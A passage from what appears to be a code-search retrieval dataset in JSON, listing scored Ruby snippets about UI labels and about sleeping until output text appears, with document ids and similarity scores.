"text": "def make_header\n name = @player.player_name\n score = @player.player_score\n label = TkLabel.new(@main_frame) { text \"Player: #{name} Score: #{score}\" }\n label.pack(\"side\"=>\"top\")\n end",
"title": ""
},
{
"docid": "790a8da0f20c485db4f1c9ec97009fc8",
"score": "0.5886723",
"text": "def required_label_text; end",
"title": ""
},
{
"docid": "e1547054c8e153ea0f1c5bd9a19f496a",
"score": "0.58862185",
"text": "def display_text\n\t\t\t#specifying font to be used\n\t\t\t#text_font @font, 16\n\t\t\t#text \"Mmmmm ... Strings .... \", 10, 100\n\t\tend",
"title": ""
},
{
"docid": "0004e3c59345c2874971c23dad695717",
"score": "0.5879546",
"text": "def label; end",
"title": ""
},
{
"docid": "0004e3c59345c2874971c23dad695717",
"score": "0.5879546",
"text": "def label; end",
"title": ""
},
{
"docid": "ef29d504aa101a55f0ed64f1cc303572",
"score": "0.5867904",
"text": "def prescreen_header_label\n # unit_test_no_generate: prescreen_header_label, img.className(create_ats_regex_string(\"ats-prescreenhdrlbl\"))\n $tracer.trace(__method__)\n return ToolTag.new(img.className(create_ats_regex_string(\"ats-prescreenhdrlbl\")), __method__)\n end",
"title": ""
},
{
"docid": "a6f9923e1107c690c3c349455ab832bf",
"score": "0.586402",
"text": "def create_quest_label_window\n @quest_label_window = Window_QuestLabel.new(0, 0, $game_system.quest_scene_label)\n end",
"title": ""
},
{
"docid": "c24cc546bbd429fa69488474c10aa422",
"score": "0.5838219",
"text": "def assert_label(expected_text)\n append_to_script \"assert_label \\\"#{expected_text}\\\"\"\n end",
"title": ""
},
{
"docid": "7c87f99c851bb2e6500f7cc8e01cdb24",
"score": "0.58355594",
"text": "def label(name)\n @labels << Label.new( [now, name, nil, {}] )\n end",
"title": ""
},
{
"docid": "846813eca9a10de1f2a736ad3a4584b6",
"score": "0.5831175",
"text": "def new_text(text, parent: nil)\n parent ||= @screen\n\n el = ShadedText.new(parent)\n el.set_long_mode(LVGL::LABEL_LONG::BREAK)\n el.set_align(LVGL::LABEL_ALIGN::CENTER)\n el.set_width((parent.get_width - 2*padding).to_i)\n el.set_text(text)\n el\n end",
"title": ""
},
{
"docid": "bb630acb3fa6a3fe8099fb88cffa76a6",
"score": "0.58311224",
"text": "def labelled_text(method, text, label_text = nil, label_options = {})\n %Q{#{label(method, \"#{label_text || method.to_s.titleize}\", label_options)} <div class=\"labelled\" id=\"#{object_name}_#{method}\">#{text}</div>}\n end",
"title": ""
},
{
"docid": "1d0e5f7b3096f83230ebb645d5a737dc",
"score": "0.5829423",
"text": "def custom_player_label\n \"#{self.name} - #{self.text}\"\nend",
"title": ""
},
{
"docid": "fe89e488345bb5aeda6fc9af916273d3",
"score": "0.58243185",
"text": "def label; Common.label(@handle); end",
"title": ""
},
{
"docid": "cd16e71e319ef510450e0da0138f52f7",
"score": "0.58125055",
"text": "def label\n @label ||= self.new.class.to_s.underscore.gsub('/', '.')\n end",
"title": ""
},
{
"docid": "0d54cb8a814b2f648c13bf192446d286",
"score": "0.58098197",
"text": "def OPRLabel(text:)\n {\n type: \"label\",\n text: text\n }\nend",
"title": ""
},
{
"docid": "8d8cea0787d81a58b6c0efb6ef95eb37",
"score": "0.5808438",
"text": "def add_label(label)\n d = [label, AS::LabelObject.new]\n @table << d\n d[1]\n end",
"title": ""
},
{
"docid": "cb294445ec5e5c614786537eabda0288",
"score": "0.5805048",
"text": "def game_over_text\n Text.new(\"Game Over\", color: 'orange', x: Window.width / 6, y: Window.height / 3, z: 1, size: 80) # need to find a way to make it centered and scaled with window size\n Text.new(\"Press 'R' to restart\", color: 'orange', x: (Window.width / 6) + 45, y: (Window.height / 3) + 85, z: 1, size: 40)\n end",
"title": ""
},
{
"docid": "f0f01756da1b5ad9b8d986874a063382",
"score": "0.580372",
"text": "def text=(text)\n @label.text = text\n end",
"title": ""
},
{
"docid": "455bd3e8f90bbe8e04b1d99f9a739c6e",
"score": "0.5803223",
"text": "def create_window_geometry_label\n label(:text => \"\", :layout => {:expand => :width, :start => false}, :font => font(:system => 15))\n end",
"title": ""
},
{
"docid": "cb9e8c750a851f91c18c90ae58817c1f",
"score": "0.5802548",
"text": "def label\n nome\n end",
"title": ""
},
{
"docid": "ffaa413a446a07fa00313d7bb43d5533",
"score": "0.5789742",
"text": "def label(opts = {})\n label_for(@page, opts)\n end",
"title": ""
},
{
"docid": "ba0092c0c7e2fd1b7f16bfa54f93e486",
"score": "0.5787752",
"text": "def label_name\n \n \"#{nombre_etiqueta}\"\n \n end",
"title": ""
},
{
"docid": "f542d2fe5efc5ab2f78548cd09ed10a4",
"score": "0.5786543",
"text": "def label\n \tif !player.nil? && !opponent.nil?\n \t\t\"#{player_name}\\n#{opponent_name}\"\n \telsif !player.nil? && opponent.nil?\n \t\t\"#{player_name}\\n-----\"\n \telse\n \t\t\"----\\n----\"\n \tend\n end",
"title": ""
},
{
"docid": "2c7bfec7397e01d58c13ecc55c714bd1",
"score": "0.5781281",
"text": "def draw\r\n @font.draw_text(\"No Longer Human!\", 50,50,0)\r\n end",
"title": ""
},
{
"docid": "cf9be6b20e65302c5397f0bc364b1dc8",
"score": "0.5770482",
"text": "def show_field_label label\n t(:'blacklight.search.show.label', label: label)\n end",
"title": ""
},
{
"docid": "b01ca0096a6c49eb87c4e729b801118f",
"score": "0.5769809",
"text": "def printQuestionOnScreen()\n $lblQuestionNumber.grid :column => 0, :row => 0\n $lblQuestionNumber['text'] = $intQuestionOnScreen.to_s + \".\"\n $lblQuestion.grid :column => 1, :row => 0\n $lblQuestion['text'] = $arrQuestions[$intQuestionOnScreen - 1]\nend",
"title": ""
},
{
"docid": "345cdfdd0963530ad8276cee5751a600",
"score": "0.5761419",
"text": "def add_label\n self.rdfs_label = preflabel if preflabel.present?\n self.preflabel = rdfs_label if rdfs_label.present?\n end",
"title": ""
},
{
"docid": "a026b6390d84668cffce46f0d54722a5",
"score": "0.57533944",
"text": "def label\n <<-HTML\n\n <label id=\"#{label_id}\" class=\"string #{label_classes}\">#{attribute_name.to_s.titleize}</label>\n HTML\n end",
"title": ""
},
{
"docid": "0faeaa098116950602960e84ddaa78b2",
"score": "0.57487243",
"text": "def how_to_render_a_label args\n # NOTE: Text is aligned from the TOP LEFT corner\n\n # Render an EXTRA LARGE/XL label (remove the \"#\" in front of each line below)\n args.nokia.labels << { x: 0, y: 46, text: \"Hello World\",\n size_enum: NOKIA_FONT_XL,\n r: 0, g: 0, b: 0, a: 255,\n font: NOKIA_FONT_PATH }\n\n # Render a LARGE/LG label (remove the \"#\" in front of each line below)\n args.nokia.labels << { x: 0, y: 29, text: \"Hello World\",\n size_enum: NOKIA_FONT_LG,\n r: 0, g: 0, b: 0, a: 255,\n font: NOKIA_FONT_PATH }\n\n # Render a MEDIUM/MD label (remove the \"#\" in front of each line below)\n args.nokia.labels << { x: 0, y: 16, text: \"Hello World\",\n size_enum: NOKIA_FONT_MD,\n r: 0, g: 0, b: 0, a: 255,\n font: NOKIA_FONT_PATH }\n\n # Render a SMALL/SM label (remove the \"#\" in front of each line below)\n args.nokia.labels << { x: 0, y: 7, text: \"Hello World\",\n size_enum: NOKIA_FONT_SM,\n r: 0, g: 0, b: 0, a: 255,\n font: NOKIA_FONT_PATH }\n\n # You are provided args.nokia.default_label which returns a Hash that you\n # can ~merge~ properties with\n # Example 1\n args.nokia.labels << args.nokia\n .default_label\n .merge(text: \"Default\")\n\n # Example 2\n args.nokia.labels << args.nokia\n .default_label\n .merge(x: 31,\n text: \"Default\")\nend",
"title": ""
},
{
"docid": "9f465e305e05df03f0d171a86f8f8f87",
"score": "0.5747589",
"text": "def createLabel(content)\n\t\tlabel = Gtk::Label.new\n\t\tlabel.set_markup(content)\n\t\treturn label\n\tend",
"title": ""
},
{
"docid": "35f282d93687f408d52ed03294e6105b",
"score": "0.573621",
"text": "def update_modal_button_label(label)\n hc_modal_button.title = label\n end",
"title": ""
},
{
"docid": "202db16ced0037dc137c0a6f80b7c066",
"score": "0.5719126",
"text": "def show_info\n @font.draw_text(@message, 10, SIZE_GRID + 8, 5)\n end",
"title": ""
},
{
"docid": "d0cdafac2a7c11fbf677b46d60990032",
"score": "0.57085633",
"text": "def add_label!( n, primary=:false )\n save if add_label( n, primary )\n end",
"title": ""
},
{
"docid": "bee87d95b495f2c4e29a6f20dfc659ab",
"score": "0.56638616",
"text": "def add_popup( x, y, label )\n txt_width = label.length * font_size * 0.6 + 10\n tx = (x+txt_width > width ? x-5 : x+5)\n t = @foreground.add_element( \"text\", {\n \"x\" => tx.to_s,\n \"y\" => (y - font_size).to_s,\n \"visibility\" => \"hidden\",\n })\n t.attributes[\"style\"] = \"fill: #000; \"+\n (x+txt_width > width ? \"text-anchor: end;\" : \"text-anchor: start;\")\n t.text = label.to_s\n t.attributes[\"id\"] = t.object_id.to_s\n\n @foreground.add_element( \"circle\", {\n \"cx\" => x.to_s,\n \"cy\" => y.to_s,\n \"r\" => \"10\",\n \"style\" => \"opacity: 0\",\n \"onmouseover\" => \n \"document.getElementById(#{t.object_id}).setAttribute('visibility', 'visible' )\",\n \"onmouseout\" => \n \"document.getElementById(#{t.object_id}).setAttribute('visibility', 'hidden' )\",\n })\n\n end",
"title": ""
},
{
"docid": "2fadbc5ddfe44773d0b064c5ada54e53",
"score": "0.56613415",
"text": "def labels_tech_demo\n outputs.labels << [grid.left.shift_right(5), grid.top.shift_down(5), \"This is a label located at the top left.\"]\n outputs.labels << [grid.left.shift_right(5), grid.bottom.shift_up(30), \"This is a label located at the bottom left.\"]\n outputs.labels << [ 5, 690, \"Labels (x, y, text, size, align, r, g, b, a)\"]\n outputs.labels << [ 5, 660, \"Smaller label.\", -2]\n outputs.labels << [ 5, 630, \"Small label.\", -1]\n outputs.labels << [ 5, 600, \"Medium label.\", 0]\n outputs.labels << [ 5, 570, \"Large label.\", 1]\n outputs.labels << [ 5, 540, \"Larger label.\", 2]\n outputs.labels << [300, 660, \"Left aligned.\", 0, 2]\n outputs.labels << [300, 640, \"Center aligned.\", 0, 1]\n outputs.labels << [300, 620, \"Right aligned.\", 0, 0]\n outputs.labels << [175, 595, \"Red Label.\", 0, 0, 255, 0, 0]\n outputs.labels << [175, 575, \"Green Label.\", 0, 0, 0, 255, 0]\n outputs.labels << [175, 555, \"Blue Label.\", 0, 0, 0, 0, 255]\n outputs.labels << [175, 535, \"Faded Label.\", 0, 0, 0, 0, 0, 128]\n end",
"title": ""
},
{
"docid": "f4ae2495a5ef230c916b7c76c1ae640d",
"score": "0.56518227",
"text": "def full_label\n ''\n end",
"title": ""
},
{
"docid": "f20393b2f81d4970fd2be94ed037e074",
"score": "0.5650131",
"text": "def display_track(title, ypos)\n #TrackLeftX\n @track_font.draw(title,735 , ypos, ZOrder::UI, 1.0, 1.0, Gosu::Color::WHITE)\n end",
"title": ""
},
{
"docid": "49c0e4193e5d6cb7c75874d70b02e5b2",
"score": "0.5648757",
"text": "def code_and_label\n code + ' - ' + label\n end",
"title": ""
},
{
"docid": "e1c2d9a898c0f25fdd11b72a646d2419",
"score": "0.5645917",
"text": "def setLabel(labelText)\n @labelField.stringValue = labelText.to_s\n end",
"title": ""
},
{
"docid": "e5bc10a70391b019e7034c7aa8b4ba98",
"score": "0.564268",
"text": "def put_label name\n if @labels.key? name\n raise Errors::LabelAlreadyDefined, \"Label `#{name}` is already defined\"\n end\n @labels[name] = nil\n @instructions << Label.new(name)\n self\n end",
"title": ""
},
{
"docid": "915f5f3e420a1c099b6f43e6352aa111",
"score": "0.56359035",
"text": "def ssn_prompt_label\n # unit_test_no_generate: ssn_prompt_label, span.className(create_ats_regex_string(\"ats-ssnlbl\"))\n $tracer.trace(__method__)\n return ToolTag.new(span.className(create_ats_regex_string(\"ats-ssnlbl\")), __method__)\n end",
"title": ""
},
{
"docid": "cbb4a91be5c2284f3ce5d36cdde2f63d",
"score": "0.56357515",
"text": "def label\n return @label\n end",
"title": ""
},
{
"docid": "ea3703b7e153214d3ea8249dbdf99cb5",
"score": "0.563514",
"text": "def true_label(is_true, true_label = 'true')\n content_tag(:span, true_label, class: %w[label label-success]) if is_true\n end",
"title": ""
},
{
"docid": "f00d530f5002fb4058f41804c93bf582",
"score": "0.5633458",
"text": "def label_as label\n @label = label\n end",
"title": ""
},
{
"docid": "92fa00e8e615debd3c80434de77fb68f",
"score": "0.5620117",
"text": "def label_translation; end",
"title": ""
}
] |
80153edd1138276a64d40469224690c7
|
Sleep until some 'str' String is sent to the output,
|
[
{
"docid": "49135a396cb65892ea101cfd8d8742fa",
"score": "0.8131648",
"text": "def sleep_until(str)\n @queue << \"sleep #{str}\"\n end",
"title": ""
}
] |
[
{
"docid": "7e28782f37219f1210caf91b0066b566",
"score": "0.6972237",
"text": "def wait(str='Press ENTER to continue.')\n puts\n self.warning(str)\n STDIN.gets\n end",
"title": ""
},
{
"docid": "8a8072a312cf696efc2c3e364e8a4d7d",
"score": "0.6815673",
"text": "def wait_for_string(str, row, column)\n platform.wait_for_string(str, row, column)\n end",
"title": ""
},
{
"docid": "c9107088d9dcc3552d7f02bcf4c898ce",
"score": "0.6491253",
"text": "def send_string(str, command)\n when_not_awaiting_continuation do\n begin\n send_line_buffered str\n rescue => e\n command.fail e\n end\n end\n end",
"title": ""
},
{
"docid": "0bef47403f40c50c6ba199b90e02687e",
"score": "0.6398575",
"text": "def wait_for_server_to_include(str, log: false)\n sleep 0.05 until @server.is_a?(IO)\n retry_cntr = 0\n begin\n @server.wait_readable 1\n if log\n puts \"Waiting for '#{str}'\"\n begin\n line = @server&.gets\n puts line if !line&.strip.empty?\n end until line&.include?(str)\n else\n true until (@server.gets || '').include?(str)\n end\n rescue Errno::EBADF, Errno::ECONNREFUSED, Errno::ECONNRESET, IOError => e\n retry_cntr += 1\n raise e if retry_cntr > 10\n sleep 0.1\n retry\n end\n true\n end",
"title": ""
},
{
"docid": "fffa5ef0db25b2962217f81cc82a28bd",
"score": "0.62928975",
"text": "def send str\n\n @send_buffer.push [Time.now.to_i + @send_buffer_delay, str] if @send_buffer_delay > 0\n\n begin\n if @send_buffer_delay > 0\n Protocol.write @client, (@send_buffer.shift)[1], :debug => 5 if Time.now.to_i >= (@send_buffer.first)[0]\n else\n Protocol.write @client, str, :debug => 5\n end\n false\n rescue Exception=>e\n puts \"!D connection terminated: #{e}\" if Config.debug\n true\n end\n end",
"title": ""
},
{
"docid": "9fb587ccaccede7815bd92555a3da2d7",
"score": "0.62726676",
"text": "def send str\n\t puts \"RktDisplay: [delay: #{@send_buffer_delay}] #{str}\" if $verbose > 3\n\n # Add to sendbuffer if @send_buffer_delay > 0\n @send_buffer.push [Time.now.to_i + @send_buffer_delay, str] if @send_buffer_delay > 0\n\n # Send from sendbuffer\n begin\n if @send_buffer_delay > 0\n \t Protocol.write @c, (@send_buffer.shift)[1] if Time.now.to_i >= (@send_buffer.first)[0]\n \t else\n \t Protocol.write @c, str\n \t end\n \t false\n rescue Exception=>e\n true\n end\n \n\tend",
"title": ""
},
{
"docid": "40718ccde57745a7868ffa28d7e7c213",
"score": "0.6263071",
"text": "def wait_until( desc, freq = 1.0 )\n $stdout.write( \"Waiting for \" + desc )\n until (ret = yield) do\n $stdout.write '.'\n sleep freq\n end\n ret\n ensure\n puts\n end",
"title": ""
},
{
"docid": "60c9d74c530508290c88a635f26015ac",
"score": "0.6241905",
"text": "def anim(string)\n \n string.each_char do |n|\n \n \n print n \n \n \n slt =rand(0.02..0.08)\n sleep(slt) \n end\n print \"\\n\"\nend",
"title": ""
},
{
"docid": "125ef198bca03d1700b7d2e000605bae",
"score": "0.6146931",
"text": "def sleep _args\n \"sleep _args;\" \n end",
"title": ""
},
{
"docid": "aa4858d444880e3db8307aeb167108e6",
"score": "0.6097749",
"text": "def admiral_sleep(sec)\n IO.select([ SELF_PIPE[0] ], nil, nil, sec) or return\n SELF_PIPE[0].kgio_tryread(11)\n end",
"title": ""
},
{
"docid": "91f735d8aec333447179f137138a1c77",
"score": "0.6091834",
"text": "def loading_screen(string) \n string.length.times do |i|\n clear\n \n # Please wait header \n puts HEADER_LINE\n puts \"Please Wait...\".upcase.center(HEADER_LENGTH)\n puts HEADER_LINE\n puts\n puts string[0, i].center(HEADER_LENGTH)\n sleep(0.2)\n end\nend",
"title": ""
},
{
"docid": "87a7e43390f0e43ef1b47e035b1f53d1",
"score": "0.60735774",
"text": "def printStringS(printMe, duration)\n x = printMe.split(\", \")\n currentTime = Time.now.to_i\n futureTime = currentTime + duration\n while (currentTime <= futureTime) do\n print \"#{isMe(onMe(x[$prng.rand(0...x.length())]))}\"\n currentTime = Time.now.to_i\n end\n menu()\nend",
"title": ""
},
{
"docid": "c2527bbf58d8b66c4e235d7c25f2ad19",
"score": "0.6006944",
"text": "def wait(sec = 5)\n Logbook.message(\"Waiting #{sec} sec >>\" + \"\\n\")\n sec.instance_of?(Integer) ? sleep(sec) : Logbook.message(\"Waiting time is not integer: [#{sec}]\" + \"\\n\")\n end",
"title": ""
},
{
"docid": "10e45fd8f4368de9d122d28abff8f352",
"score": "0.5993552",
"text": "def sleep(dur=0) end",
"title": ""
},
{
"docid": "cdb459e7945b57658a38dd977fe5ace3",
"score": "0.59913075",
"text": "def loading_screen(string) \n string.length.times do |i| # Iterates over each index in a given string\n # Clear the screen to provide an animated effect.\n clear\n \n # Please wait header \n puts HEADER_LINE\n puts \"Please Wait...\".upcase.center(HEADER_LENGTH)\n puts HEADER_LINE\n puts\n \n # Displays all characters in the string up to the index being iterated over.\n puts string[0, i].center(HEADER_LENGTH)\n sleep(0.2)\n end\nend",
"title": ""
},
{
"docid": "6a64b6fe82c54834e9e88f8d573dfa23",
"score": "0.597279",
"text": "def wait!\n sleep(@sleep)\n end",
"title": ""
},
{
"docid": "848bec1d3241b9224de37c2e989d3fe0",
"score": "0.5971455",
"text": "def sleep_if_set\n config[:sleep].to_i.times do\n print '.'\n sleep 1\n end\n end",
"title": ""
},
{
"docid": "0f8c2b97bf5aacb700b4c08d0f9c8986",
"score": "0.5953475",
"text": "def perform \n sleep 1\n puts \" joooo\"\n end",
"title": ""
},
{
"docid": "3238cba2480604443eefefce59617c54",
"score": "0.59523386",
"text": "def wait_for_pending_sends\n send_pending\n while output.length > 0\n result = IO.select(nil, [self]) or next\n next unless result[1].any?\n\n send_pending\n end\n end",
"title": ""
},
{
"docid": "caa8387fbc4c6a9acb8ee089240c6a3d",
"score": "0.59299064",
"text": "def sleep_test\n sleep(10)\n \"slept for 10 sec!\"\n end",
"title": ""
},
{
"docid": "90e1d71c0ff805122e5c7e14e2b42308",
"score": "0.5915877",
"text": "def wait_for(pattern)\n $_api_exec_state = :wait_for\n if pattern.is_a?(Array)\n pattern = Regexp.new(pattern.join('|'))\n end\n\n (0..1000000).each do\n line = API::sync_read\n if line and line.match(pattern)\n $_api_exec_state = :none\n return\n end\n sleep 0.01\n end\nend",
"title": ""
},
{
"docid": "71d6d3b785cb892ffeee519f640a2673",
"score": "0.59070784",
"text": "def brute_wait(delay)\n sleep(delay)\n end",
"title": ""
},
{
"docid": "b29677ab55e110bd1ae0cc9857101268",
"score": "0.5890371",
"text": "def wait_until(msg = nil)\n if block_given?\n msg_thread, work_thread = nil, nil\n \n # prints incremental '...' message while waiting for the given block to finish successfully\n if msg\n print \"#{msg.to_s}...\"\n msg_thread = Thread.new do\n loop do\n print \".\"\n $stdout.flush\n sleep 1\n end\n end\n end\n \n # repeatedly yields to the given block until it returns true\n work_thread = Thread.new do\n result = false\n until result\n result = yield\n sleep 1\n end\n end\n \n work_thread.join if work_thread\n msg_thread.kill if msg_thread\n \n print \"\\n\" if msg\n end\n end",
"title": ""
},
{
"docid": "1dd72508ef74f7e570bd534ffedb2a14",
"score": "0.5880124",
"text": "def wait_for_message\n loop do\n message = gets.strip\n publish_message(@current_user, message)\n end\n end",
"title": ""
},
{
"docid": "1c9a2fc2a92bcd3f5822d5535faeb158",
"score": "0.5873846",
"text": "def master_sleep(sec)\n IO.select([ SELF_PIPE[0] ], nil, nil, sec) or return\n SELF_PIPE[0].kgio_tryread(11)\n end",
"title": ""
},
{
"docid": "64e587f5e60412098b315210051ed73c",
"score": "0.5844874",
"text": "def sleep\n #sleeps\n puts \"*sleeps*\"\n end",
"title": ""
},
{
"docid": "8e7e7e55089ac3891999521781dadbd9",
"score": "0.58343077",
"text": "def wait_until(msg, timeout_at, sleep_time = 10, options = {})\n logger = options.fetch(:logger, nil)\n\n done = block_given? ? yield : false\n\n while Time.now.to_i < timeout_at && !done do\n done = block_given? ? yield : false\n\n unless done\n logger ? logger.info(msg) : puts(msg)\n sleep(sleep_time)\n end\n end\n\n done\n end",
"title": ""
},
{
"docid": "e702d727ed5a29d8d58fd6f3ccf41829",
"score": "0.58158237",
"text": "def master_sleep(sec)\n IO.select([ SELF_PIPE[0] ], nil, nil, sec) or return\n SELF_PIPE[0].kgio_tryread(11)\n end",
"title": ""
},
{
"docid": "9825d6a44b5ad57604eb43d6c3abc828",
"score": "0.57862115",
"text": "def type(message)\n # Processing not required for testing.\n if ENV['TEST']\n print message; return\n end\n \n # Sleep between printing of each char.\n message.split(\"\").each do |i|\n sleep(0.015)\n print i\n end\nend",
"title": ""
},
{
"docid": "9ae2cfcc267e7d4fe49a35a872dca516",
"score": "0.57725203",
"text": "def wait(timeout: nil)\n\t\t\t\tif timeout\n\t\t\t\t\tread_ready, _, _ = IO.select([@output], [], [], timeout)\n\t\t\t\t\t\n\t\t\t\t\treturn false unless read_ready and read_ready.any?\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t@signalled or @output.read(1)\n\t\t\t\t\n\t\t\t\t# Just in case that this was split across multiple processes.\n\t\t\t\t@signalled = true\n\t\t\tend",
"title": ""
},
{
"docid": "434d2e3c680d09a674c64929217ed4e2",
"score": "0.57722527",
"text": "def output(str)\n str = str.to_s.strip\n str = nil if str && str.length == 0\n str ||= \"Completed (no output)\"\n output = Time.now.strftime(\"%H:%M:%S\") + \" [#{self}] \"\n output << str\n print output + \"\\n\"\n output\n end",
"title": ""
},
{
"docid": "344127640b6630c8ddc25049df92cb32",
"score": "0.5768653",
"text": "def slow_puts(string, delay: 1, press_any_key: true) \n (0..string.size).each do |i| # Iterates over each index in a given string\n # Clear the screen to provide an animated effect.\n system \"clear\"\n\n # Puts all characters in the string up to the index being iterated over.\n puts string[0, i]\n sleep delay * 0.01\n end\n \n if press_any_key\n STDIN.getch\n end\nend",
"title": ""
},
{
"docid": "02962cdf66aa2b57af2becddabed25d0",
"score": "0.575812",
"text": "def awaiter(args = {})\n args[:smcup] && tput_smcup\n thr = if args[:msg]\n Thread.new do\n (1..4).cycle.each do |i|\n print \"\\r\"\n print \"#{FMT.cur_dt} \" if args[:time]\n print \"#{args[:msg].red}\\b#{SPIN[i % 4].red}\"\n sleep 1\n end\n end\n end\n yield\n ensure\n thr && thr.kill\n puts if args[:newline]\n end",
"title": ""
},
{
"docid": "78da626be95c20e2ee9680cebb30fab5",
"score": "0.5754872",
"text": "def inject_remote_delay!\n gets_data(\"\")\n end",
"title": ""
},
{
"docid": "8d6f84a3917616c5d17db496008a733d",
"score": "0.5742103",
"text": "def cycle\n allOn(0.1)\n allOff(0.1)\n \n \"hello\".chars.each do |letter|\n writeLetter(letter.to_sym)\n sleep(0.5)\n allOff()\n sleep(0.25)\n end\n end",
"title": ""
},
{
"docid": "a2f3d18be1b689531b716bc0438aae96",
"score": "0.57278746",
"text": "def wait_for_message\n listen_for_messages\n loop { publish_message(@current_user, gets.strip) }\n end",
"title": ""
},
{
"docid": "10fd9f26efb8dc159f300dd0070c3dce",
"score": "0.5714681",
"text": "def wait\n @t.each{|t| t.join}\n end",
"title": ""
},
{
"docid": "091353b87e8a1cf68ff12c01c7758a7a",
"score": "0.57094604",
"text": "def wait_for_cmd_or_ack(cmd_or_ack)\n log \"Waiting for #{cmd_or_ack}\"\n loop do\n last_line = last_chat_line\n return get_info(last_line, cmd_or_ack) if last_line.include?(cmd_or_ack)\n sleep 1\n end\n end",
"title": ""
},
{
"docid": "54ba397cb751a964778fa8bb38c5e941",
"score": "0.5706797",
"text": "def send_output(string)\n @sp.puts string\n @sp.flush\n end",
"title": ""
},
{
"docid": "db544a4358ca3b3c6648a9f580bf4d20",
"score": "0.5700726",
"text": "def loadingMessage()\n puts \"\\n\"\n print \"Thank you #{$_userNameVar}. Now I will do work for you :)\"\n sleep(1)\n print '.'\n sleep(1)\n print '.'\n sleep(1)\n print '.'\n sleep(1)\n puts '.'\nend",
"title": ""
},
{
"docid": "f8caf1acf6608b5044560c4bbc59d238",
"score": "0.5697044",
"text": "def write(s)\n @port.write(s)\n sleep(@wait_after_send / 1000.0) if @wait_after_send\n end",
"title": ""
},
{
"docid": "d9ef77b54cde5017f7a114bc384a6804",
"score": "0.5689498",
"text": "def wait_for_on_stdout(pattern)\n out = ''\n # read everything in out and stop when pattern is matched\n {} while !((out << @stdout.read(1)) =~ pattern) \n end",
"title": ""
},
{
"docid": "82d0a93a416dc2f6eea8658c59857e85",
"score": "0.5662008",
"text": "def receive(str)\n puts \"Received '#{str.strip}'\" unless @quiet\n end",
"title": ""
},
{
"docid": "85b7ed405cfce3000af419d6d7789d3f",
"score": "0.5650711",
"text": "def waiting actual\n interval = 0.5\n i = 0\n while true\n if actual == yield\n return 'true!!'\n end\n i += interval\n puts '.'\n sleep i\n end\n 'false!!'\nend",
"title": ""
},
{
"docid": "ae6ae8c7963c6fb581dfad6bf3898d35",
"score": "0.564288",
"text": "def name\n# Input string\n# Return datatype: string\n# String interpolation and Ruby method sleep\n puts \"name your monster\"\n @name = gets.chomp.upcase\n puts \"The Gods are considering your request please wait 3 seconds\"\n sleep 3\n puts \"Congratulations: The Gods have granted your wish, they have christened your new monster: #{@name}\"\n end",
"title": ""
},
{
"docid": "362ae9f29b53fee109ea7aca29d8fde4",
"score": "0.5638749",
"text": "def delay_1() sleep(3) end",
"title": ""
},
{
"docid": "9bf8a9bfea4bde92f735dcdb4f619e48",
"score": "0.5636679",
"text": "def wait\n loop do sleep 1 end\n end",
"title": ""
},
{
"docid": "1850588ea150732940797e8f21163ffc",
"score": "0.56355846",
"text": "def sleep(n)\n Kernel.sleep(n)\n end",
"title": ""
},
{
"docid": "7e7b203e88d5ea95fda4e26a412ff388",
"score": "0.5635033",
"text": "def send_command(str)\n str += \"\\r\"\n write(socket, str) # the write is blocking\n sleep(0.2)\n read(socket).gsub(prompt,'')\n end",
"title": ""
},
{
"docid": "7f5d495e3e5d60e5642b59ade9066020",
"score": "0.56307465",
"text": "def wait(seconds) \r\n\t\texec(\"Wait\", seconds.to_s)\r\n\tend",
"title": ""
},
{
"docid": "40ed4b743b2baae9fea6f2a20681611b",
"score": "0.562563",
"text": "def wait_for_seconds\n\t\tsleep(1 * rand + 1)\n\tend",
"title": ""
},
{
"docid": "4a90fe55b2414d723b76fc56754a5626",
"score": "0.56225127",
"text": "def wait_for_message\n message = gets.strip\n publish_message(@current_user, message)\n wait_for_message\n end",
"title": ""
},
{
"docid": "fea7c149ce84ad40aa57892f8a9d4afb",
"score": "0.56183887",
"text": "def print_ok( str = '' )\n push_to_output_buffer( ok: str )\n end",
"title": ""
},
{
"docid": "45132d0d75d8f9782f45497dd37e5fec",
"score": "0.5615623",
"text": "def slowly\n yield.each_char {|x| putc x ; sleep(0.009) }\n puts \"\"\n end",
"title": ""
},
{
"docid": "5f55d31b5fff90bd3f93fca2dab4070d",
"score": "0.56115174",
"text": "def status(str)\n if !Choice.choices[:quiet]\n print str\n STDOUT.flush\n end\nend",
"title": ""
},
{
"docid": "390efc486e758d6a1f8e02ad8b466bfb",
"score": "0.56061447",
"text": "def wait_until_done\n return if !running?\n send_eof\n\n # TODO: handle case where command doesn't exit.\n start = Time.now\n @standard_output.read_until_eof(timeout)\n @standard_error.read_until_eof(timeout - (Time.now - start))\n pid, @status = Process::waitpid2(@pid)\n @pid = nil\n end",
"title": ""
},
{
"docid": "8e9be44c82cf44bcd41cd43d093c28b7",
"score": "0.5589441",
"text": "def sleep_after(seconds)\n write_bytes(27, 56, seconds)\n end",
"title": ""
},
{
"docid": "b97d229467a422f4a22ca8b69cb23d97",
"score": "0.5580632",
"text": "def read(timeout = TIMEOUT, str = \"\")\n while true\n Timeout::timeout(timeout) do\n str << output.readline\n break if output.eof?\n end\n end\n\n return str\n rescue Timeout::Error, EOFError, Errno::EIO\n return str\n end",
"title": ""
},
{
"docid": "f19894aa9711a7c681b7ff11706e149e",
"score": "0.5572944",
"text": "def sendString(str)\r\n\t$oculussock.puts str\r\n\tputs \"> \"+str \r\nend",
"title": ""
},
{
"docid": "886f511c4d61bd561518367b5eecb348",
"score": "0.55710495",
"text": "def wait\n sleep 0.0001\n end",
"title": ""
},
{
"docid": "cb47eee6c6abbfd178e13110788e7134",
"score": "0.5552968",
"text": "def text(string)\n @reactor.schedule { @driver.text(string.to_s) }\n end",
"title": ""
},
{
"docid": "120778c7b6e14ca9c5fe3acd7cfe871e",
"score": "0.55498683",
"text": "def send_pending\n if output.length > 0\n sent = send(output.to_s, 0)\n debug { \"sent #{sent} bytes\" }\n output.consume!(sent)\n return sent > 0\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "5a98a3ec799803c86e069adb2e63140c",
"score": "0.5548715",
"text": "def print_and_flush(str)\n print str\n STDOUT.flush\nend",
"title": ""
},
{
"docid": "416fe4cea20dd0fa3ed41d7fd7a7e83b",
"score": "0.55438864",
"text": "def put_hold_notice\n @io.puts\n @io.puts 'Pausing here -- run Ruby again to ' \\\n 'measure the next benchmark...'\n end",
"title": ""
},
{
"docid": "6248069c87e6eec3ac1c3ffa751f1fa0",
"score": "0.5536387",
"text": "def send_and_wait(type, *args); end",
"title": ""
},
{
"docid": "0c4cd840aca049d3ad1b8a77dddc93f6",
